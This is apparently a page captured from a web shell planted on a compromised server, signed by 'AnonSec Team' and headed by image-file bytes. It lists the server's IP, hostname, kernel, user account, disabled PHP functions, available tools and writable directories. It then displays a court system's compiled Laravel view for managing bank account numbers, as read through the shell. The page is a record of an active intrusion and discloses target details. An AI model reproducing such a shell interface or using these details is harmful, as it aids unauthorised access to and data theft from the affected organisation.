ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.12.136.130
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/913aab35432caf5d6a230ffe9ade45d6c57d023c.php
<?php $__env->startSection('pageTitle'); ?>
    Create Bank
<?php $__env->stopSection(); ?>

<?php $__env->startSection('content'); ?>

    <div id="page-wrapper" class="box box-default">
        <div class="container-fluid">
            <div class="col-md-12 text-success">
                <!--2nd col-->
                <big><b><?php echo $__env->yieldContent('pageTitle'); ?></b></big>
            </div>
            <br />
            <hr>
            <div class="row">
                <div class="col-md-9"> <br>
                    <?php if(count($errors) > 0): ?>
                        <div class="alert alert-danger alert-dismissible" role="alert">
                            <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span
                                    aria-hidden="true">&times;</span> </button>
                            <strong>Error!</strong>
                            <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                <p><?php echo e($error); ?></p>
                            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                        </div>
                    <?php endif; ?>

                    <?php if(session('message')): ?>
                        <div class="alert alert-success alert-dismissible" role="alert">
                            <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span
                                    aria-hidden="true">&times;</span> </button>
                            <strong>Success!</strong> <?php echo e(session('message')); ?>

                        </div>
                    <?php endif; ?>
                    <?php if(session('error')): ?>
                        <div class="alert alert-danger alert-dismissible" role="alert">
                            <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span
                                    aria-hidden="true">&times;</span> </button>
                            <strong>Error!</strong> <?php echo e(session('error')); ?>

                        </div>
                    <?php endif; ?>

                    <div id="editModal" class="modal fade">
                        <div class="modal-dialog box box-default" role="document">
                            <div class="modal-content">
                        <div class="modal-header">
                          <h4 class="modal-title">Edit Bank  </h4>
                          <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                          </button>
                        </div>
                        <form class="form-horizontal" action="<?php echo e(url('cpo-update-bank')); ?>" role="form" method="POST" >
                                <?php echo e(csrf_field()); ?>

                        <div class="modal-body">  
                            <div class="form-group" style="margin: 0 10px;">
                                <label class="control-label">Bank</label>
                                <input type="text" class="col-sm-9 form-control" id="bank" name="new_bank" required>
                            </div>
                            <div class="form-group" style="margin: 0 10px;">
                                <label class="control-label">Account No.</label>
                                <input type="text" class="col-sm-9 form-control" id="account_no" name="new_account_no" required>
                            </div>
                            
                            <div class="form-group" style="margin: 0 10px;">
                                <label class="control-label">Status</label>
                                <select name="new_status" id="status" class="form-control" required>
                                    <option value=''>-Select Status-</option>
                                    <option value="1">Active</option>
                                    <option value="0">InActive</option>
                                </select>
                            </div>

                            <div class="form-group" style="margin: 0 10px;">
                                <label for="section" class="control-label">Description</label>
                                <div class="">
                                    <select name="new_desc" id="new_desc" class="form-control">
                                        <option value="">--Select Description--</option>
                                        <option value="2">Is For Justice</option>
                                        <option value="1">Is For Staff</option>
                                    </select>
                                </div>
                            </div>
                            
                            <div class="modal-footer">
                                <input type="hidden" id="id" name="id">
                                <button type="Submit" name="edit" class="btn btn-success">Save changes</button>
                                <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                            </div>
                         
                            
                        </div>
                          </form>
                              </div>
                        </div>
                    </div>


                    <form method="post" action="<?php echo e(url('cpo-create-bank')); ?>" class="form-horizontal">
                        <?php echo e(csrf_field()); ?>


                        <div class="form-group">
                            <label for="section" class="col-md-3 control-label">Bank Name</label>
                            <div class="col-md-9">
                                <input type="text" class="form-control" name="bank" value="<?php echo e(old('bank')); ?>"
                                    required>
                            </div>
                        </div>
                        <div class="form-group">
                            <label for="section" class="col-md-3 control-label">Account Number</label>
                            <div class="col-md-9">
                                <input type="text" class="form-control" name="accNumber" value="<?php echo e(old('accNumber')); ?>"
                                    required>
                            </div>
                        </div>
                        <div class="form-group">
                            <label for="section" class="col-md-3 control-label">Status</label>
                            <div class="col-md-9">
                                <select name="status" class="form-control">
                                    <option value="0">Inactive</option>
                                    <option value="1">Active</option>
                                </select>
                            </div>
                        </div>
                        <div class="form-group">
                            <label for="section" class="col-md-3 control-label">Description</label>
                            <div class="col-md-9">
                                <select name="desc" class="form-control" required>
                                    <option value="">--Select Description--</option>
                                    <option value="2">Is For Justice</option>
                                    <option value="1">Is For Staff</option>
                                </select>
                            </div>
                        </div>
                        <div class="form-group">
                            <div class="col-sm-offset-3 col-sm-9">
                                <button type="submit" class="btn btn-success btn-sm pull-right">Save</button>
                            </div>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </div>
    <div id="page-wrapper" class="box box-default">
        <div class="box-body">
            <h2 class="text-center">All Bank</h2>
            <div class="row"> <?php echo e(csrf_field()); ?>

                <div class="col-md-12">
                    <table class="table table-striped table-bordered input-sm">
                        <thead>
                            <tr class="input-sm">
                                <th>S/N</th>
                                <th>BANK</th>
                                <th>ACCOUNT NUMBER</th>
                                <th>STATUS</th>
                                <th>Description</th>
                                <th colspan="3">ACTIONS</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php $key = 0 ?>
                            <?php $__currentLoopData = $banks; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $b): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                <tr>
                                    <td><?php echo e($key + 1); ?></td>
                                    <td><?php echo e($b->bank); ?></td>
                                    <td><?php echo e($b->account_no); ?></td>
                                    <?php if($b->is_active == 1): ?>
                                        <td><span class="btn btn-xs btn-success">Active</span></td>
                                    <?php else: ?>
                                        <td><span class="btn btn-xs btn-danger">Inactive</span></td>
                                    <?php endif; ?>
                                    <td>
                                        <?php if($b->is_staff == 1): ?>
                                            <span class="badge">Is For Staff</span>
                                        <?php endif; ?>
                                        <?php if($b->is_staff == 2): ?>
                                            <span class="badge">Is For Justice</span>
                                        <?php endif; ?>
                                    </td>
                                    <td> <button type="button" class="btn btn-xs btn-success fa fa-edit" onclick="editfunc('<?php echo e($b->id); ?>', '<?php echo e($b->bank); ?>', '<?php echo e($b->account_no); ?>', '<?php echo e($b->is_active); ?>' , '<?php echo e($b->is_staff); ?>')">Edit</button> </td>
                                    <td> 
                                        <form action="<?php echo e(url("/cpo-delete-bank/$b->id")); ?>" method="post">
                                            <?php echo e(csrf_field()); ?>

                                            <button type="submit" class="btn btn-xs btn-danger">Delete</button> 
                                        </form>
                                    </td>
                                </tr>
                            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>

                        </tbody>
                    </table>
                    <hr />

                </div>
            </div>
            <!-- /.col -->
        </div>
    <?php $__env->stopSection(); ?>

    <?php $__env->startSection('scripts'); ?>
    <script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/js/jQuery-2.2.0.min.js')); ?>"></script>
<script>
    function editfunc(id,bank,account_no,active, is_staff)
    {
    $(document).ready(function(){
        $('#bank').val(bank);
        $('#account_no').val(account_no);
        $('#status').val(active);
        $('#new_desc').val(is_staff);
         $('#id').val(id);
        $("#editModal").modal('show');
     });
    }

    
</script>

<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/nicngo5/grp.nicn.gov.ng/resources/views/CpoEpaymentReport/accountNumber/index.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team